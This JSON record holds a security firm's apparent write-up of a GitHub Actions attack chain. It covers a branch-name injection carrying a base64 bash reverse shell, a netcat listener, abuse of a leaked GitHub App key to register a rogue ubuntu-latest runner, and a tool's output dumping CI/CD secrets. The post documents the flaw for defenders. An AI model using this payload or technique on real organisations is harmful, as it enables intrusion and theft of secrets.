{
	"id": "9538e434-ba6a-4400-80db-e6142a22aaac",
	"created_at": "2026-04-06T00:15:23.279401Z",
	"updated_at": "2026-04-10T03:21:33.205059Z",
	"deleted_at": null,
	"sha1_hash": "f61eaf7d1122c7316138d9b03174c23901544ed8",
	"title": "Hijacking GitHub runners to compromise the organization",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1057253,
	"plain_text": "Hijacking GitHub runners to compromise the organization\r\nBy Hugo Vincent\r\nArchived: 2026-04-05 20:15:43 UTC\r\nIn a recent engagement we managed to compromise a GitHub app allowed to register self-hosted runners at the\r\norganization level. Turns out, it is possible to register a GitHub runner with the ubuntu-latest tag, granting\r\naccess to jobs originally designated for GitHub-provisioned runners. Using this method, an attacker could\r\ncompromise any workflow of the organization and steal CI/CD secrets or push malicious code on the different\r\nrepositories.\r\nInitial access\r\nThe engagement started with developer access to the targeted GitHub organization, with the objective to assess the\r\nsecurity implication of an account compromise or a malicious developer. To explain the different steps of the\r\nintrusion we replicated the vulnerable environment. In our lab we have 2 repositories, the first one vulnerable and\r\na second one containing sensitive secrets used to deploy part of the infrastructure (Infrastructure As Code) on\r\ncloud providers.\r\nThe sensitive repository contains one GitHub workflow using CI/CD (Continuous Integration / Continuous\r\nDelivery) secrets that are used to access cloud providers:\r\nhttps://www.synacktiv.com/en/publications/hijacking-github-runners-to-compromise-the-organization\r\nPage 1 of 10\n\nBy default, GitHub offers free virtual machines that can be used to run code during the CI/CD process. In the\r\nprevious example, the runs-on directive indicates that the workflow must run on a runner with the ubuntu-latest tag. This label is one of the tags meaning the workflow should be executed on a runner provided by\r\nGitHub. The complete list of such tags can be found in the official documentation. They are used to specify the\r\ntype of runner and the operating system needed for a workflow. The ubuntu-latest label is quite common.\r\nIn the previous example we can also observe that the workflow only runs when a developer performs a push on\r\nany branch:\r\non:\r\n push:\r\nFinally, this repository is protected with branch protections. Even with write access it would not be possible to\r\ndeploy a malicious workflow with nord-stream to extract the different secrets, since the\r\nrequired_pull_request_reviews protection is enabled:\r\n$ gh api -H \"Accept: application/vnd.github+json\" -H \"X-GitHub-Api-Version: 2022-11-28\" /repos/syncicd/sensitiv\r\n{\r\n [...]\r\n \"required_pull_request_reviews\": {\r\n \"required_approving_review_count\": 1\r\n },\r\n \"required_signatures\": {\r\nhttps://www.synacktiv.com/en/publications/hijacking-github-runners-to-compromise-the-organization\r\nPage 2 of 10\n\n\"enabled\": true\r\n },\r\n \"enforce_admins\": {\r\n \"enabled\": true\r\n },\r\n \"allow_force_pushes\": {\r\n \"enabled\": false\r\n },\r\n[...]\r\nOn the vulnerable repository there is one vulnerable workflow running on a self-hosted runner. Take time to\r\nanalyze it if you want to find the vulnerability yourself:\r\nhttps://www.synacktiv.com/en/publications/hijacking-github-runners-to-compromise-the-organization\r\nPage 3 of 10\n\nThis workflow is set to run when a comment is posted on a pull request. Between lines 12 and 22, it retrieves the\r\npull request reference associated with the comment. It then uses the GitHub API through some JavaScript to\r\nobtain the branch reference of the targeted pull request. Finally, the code performs a checkout of the code coming\r\nfrom the pull request at line 26.\r\nEach workflow trigger comes with an associated GitHub context, offering comprehensive information about the\r\nevent that initiated it. This includes details about the user who triggered the event, the branch name, and other\r\nrelevant contextual information. Certain components of this event data, such as the base repository name, or pull\r\nrequest number, cannot be manipulated or exploited for injection by the user who initiated the event (e.g. in the\r\nhttps://www.synacktiv.com/en/publications/hijacking-github-runners-to-compromise-the-organization\r\nPage 4 of 10\n\ncase of a pull request). This ensures a level of control and security over the information provided by the GitHub\r\ncontext during workflow execution.\r\nContexts can be accessed using the following expression syntax:\r\n${{ \u003ccontext\u003e }}\r\nAt runtime, the context will be replaced with the associated value, like a match and replace. More on this in the\r\nfollowing article.\r\nThe vulnerability is present at line 25. The code uses the GitHub context to obtain a reference to the pull request,\r\nwhich corresponds to the branch name of the pull request. This branch name is under the attacker's control,\r\nmeaning they can create a dummy pull request with the following branch name:\r\nThen to trigger the vulnerable code, the attacker just need to create a comment on the associated pull request:\r\nThis will trigger the workflow:\r\nhttps://www.synacktiv.com/en/publications/hijacking-github-runners-to-compromise-the-organization\r\nPage 5 of 10\n\nBecause the workflow uses the GitHub context with attacker-controlled data, the following code will be executed:\r\n- name: checkout code\r\n run: |\r\n branch=\"\";{echo,c2ggLWkgPiYgL2Rldi90Y3AveC54LngueC84MCAwPiYxCg==}|{base64,-d}|{bash,-i};echo\"\"\r\n git checkout $branch\r\n echo \"Do something\"\r\nThe Base64 data is just a bash reverse shell:\r\n$ rlwrap nc -lvp 80\r\nListening on 0.0.0.0 80\r\nsh: 0: can't access tty; job control turned off\r\n# id\r\nuid=0(root) gid=0(root) groups=0(root)\r\nOrganization compromise\r\nInside this runner we found some interesting secrets belonging to a GitHub app in the environment variables:\r\n# env\r\nGH_APP_ID=889830\r\nGH_APP_PVK=-----BEGIN RSA PRIVATE KEY-----\r\nMIIE[...]\r\n[...]\r\nFrom the GitHub documentation:\r\nGitHub Apps are tools that extend GitHub's functionality. GitHub Apps can do things on GitHub like\r\nopen issues, comment on pull requests, and manage projects. They can also do things outside of GitHub\r\nhttps://www.synacktiv.com/en/publications/hijacking-github-runners-to-compromise-the-organization\r\nPage 6 of 10\n\nbased on events that happen on GitHub. For example, a GitHub App can post on Slack when an issue is\r\nopened on GitHub.\r\nMore on this in the following article.\r\nA GitHub App possesses an identity within GitHub and can have associated permissions. These permissions can\r\nbe retrieved either through the REST API or by utilizing this GitHub CLI extension:\r\n$ gh token generate --key leaked-private-key.pem --app-id 889830\r\n{\r\n \"token\": \"ghs_yht[...]\",\r\n \"expires_at\": \"2024-05-02T14:00:13Z\",\r\n \"permissions\": {\r\n \"organization_self_hosted_runners\": \"write\"\r\n }\r\n}\r\nWe can see that this GitHub app is granted write access to the organization_self_hosted_runners permission,\r\nwhich sounds good. This permission can be used to create a registration token for the whole organization:\r\n$ export GH_TOKEN=\"ghs_yht[...]\"\r\n$ gh api --method POST -H \"Accept: application/vnd.github+json\" -H \"X-GitHub-Api-Version: 2022-11-28\" /orgs/sync\r\n{\r\n \"token\": \"BIHLYJS[...]DJN5XA\",\r\n \"expires_at\": \"2024-05-02T16:30:22.252+02:00\"\r\n}\r\nAn attacker can use this token to register a self-hosted runner at the organization level. By leveraging an existing\r\nconfigured GitHub runner like this, an attacker could register a runner with a tag belonging to other self-hosted\r\nrunners, potentially hijacking some jobs. However, when GitHub dispatches jobs, everything is encrypted with a\r\ndifferent key. Although an attacker could monitor new jobs and attempt to dump the runner's memory for secrets,\r\nthis approach is not practical nor convenient.\r\nDuring our assessment we developed a Python script to fake a GitHub runner. The idea of this tool is based on\r\n@frichette_n's original idea on GitLab. By setting up a proxy between a self-hosted runner and GitHub, it is\r\npossible to reverse the different messages exchanged to register a runner and fetch the jobs. The crypto part was\r\nalready done by @karimpwnz in his article.\r\nAfter some testing we discovered that it is possible to register a runner with the ubuntu-latest label, which was\r\nmentioned earlier in this article:\r\nhttps://www.synacktiv.com/en/publications/hijacking-github-runners-to-compromise-the-organization\r\nPage 7 of 10\n\nAs the runner is registered at the organization level, any workflow containing the ubuntu-latest tag will use our\r\nrunner by default (if available). Here is a demo of the tool:\r\n$ gh-hijack-runner.py --registration-token BIHLYJXS[...]5XA --url https://github.com/syncicd --labels ubuntu-la\r\n[+] Session ID: 26113d38-5474-41dd-a4eb-42a0e77ecb28\r\n[+] AES key: JnowJl[...]Hox6bw==\r\n[+] New Job: deploy (messageId=2)\r\n- SENSITIVE_CLOUD_KEY: cloud_key_ela[...]\r\n- SENSITIVE_SSH_KEY: -----BEGIN OPENSSH PRIVATE KEY-----\r\nb3B[...]\r\n[...]\r\n- system.github.token: ghs_CVe[...]\r\nAll the secrets of the sensitive-repo are obtained.\r\nWith this technique, there is no need to bypass all the branch protections of the sensitive-repo . When a\r\nlegitimate user pushes some code on the repository, the malicious runner will be picked and all the secrets leaked.\r\nIt is worth mentioning that the tool can also be used in case you successfully leaked runner credentials:\r\n$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.js\r\n[+] Session ID: 3c88c6f7-5764-4121-b9bf-2536ee2539b7\r\n[+] AES key: eLN3rhf3D[...]UHewLw==\r\n[+] New Job: init (messageId=2)\r\n- REPO_SECRET: repo secret\r\n- SUPER_SECRET: super secret password\r\n- system.github.token: ghs_RqD[...]\r\nThese credentials can be found inside an existing runner:\r\nroot@9f8f6f1fdfa6:/actions-runner# ll\r\n-rw-r--r-- 1 root root 266 Apr 21 12:27 .credentials\r\nhttps://www.synacktiv.com/en/publications/hijacking-github-runners-to-compromise-the-organization\r\nPage 8 of 10\n\n-rw------- 1 root root 1667 Apr 21 12:27 .credentials_rsaparams\r\n-rw-r--r-- 1 root root 325 Apr 21 12:27 .runner\r\nHowever, to fetch jobs, the runner will establish a session with GitHub and each runner can only maintain one\r\nsession at a time. To create a new session, you need to delete the current session established by the legitimate\r\nrunner. The session ID can be found here:\r\nroot@9f8f6f1fdfa6:/actions-runner# cat _diag/* | grep -i session\r\n[...]\r\n[2024-04-21 18:03:46Z INFO MessageListener] Message '5' received from session 'aab007e0-eedd-4c1b-96b4-a7c2c128c\r\nThen, the current session can be deleted:\r\n$ gh-hijack-runner.py --rsa-params credentials_rsaparams.json --credentials credentials.json --runner runner.js\r\n[+] Session aab007e0-eedd-4c1b-96b4-a7c2c128c31a.\r\nNote however that deleting the current session will crash the legitimate runner. The script only displays the secrets\r\nand returns an error to GitHub, but there is no indication that a malicious runner was employed in this process:\r\nConclusion\r\nIn this article we demonstrate a GitHub privilege escalation technique from write access to the\r\norganization_self_hosted_runners permission. This leverages the fact that it is possible to register a self-hosted runner with the ubuntu-latest tag. We developed a python script that can be used to deploy such a\r\nhttps://www.synacktiv.com/en/publications/hijacking-github-runners-to-compromise-the-organization\r\nPage 9 of 10\n\nrunner and leak all CI/CD secrets of all the workflows in the targeted repository. The tool is available on our\r\nGitHub.\r\nSource: https://www.synacktiv.com/en/publications/hijacking-github-runners-to-compromise-the-organization\r\nhttps://www.synacktiv.com/en/publications/hijacking-github-runners-to-compromise-the-organization\r\nPage 10 of 10\n\nThese credentials root@9f8f6f1fdfa6:/actions-runner# can be found inside an ll existing runner: \n-rw-r--r-- 1 root root 266 Apr 21 12:27 .credentials \n   Page 8 of 10",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"references": [
		"https://www.synacktiv.com/en/publications/hijacking-github-runners-to-compromise-the-organization"
	],
	"report_names": [
		"hijacking-github-runners-to-compromise-the-organization"
	],
	"threat_actors": [],
	"ts_created_at": 1775434523,
	"ts_updated_at": 1775791293,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/f61eaf7d1122c7316138d9b03174c23901544ed8.pdf",
		"text": "https://archive.orkl.eu/f61eaf7d1122c7316138d9b03174c23901544ed8.txt",
		"img": "https://archive.orkl.eu/f61eaf7d1122c7316138d9b03174c23901544ed8.jpg"
	}
}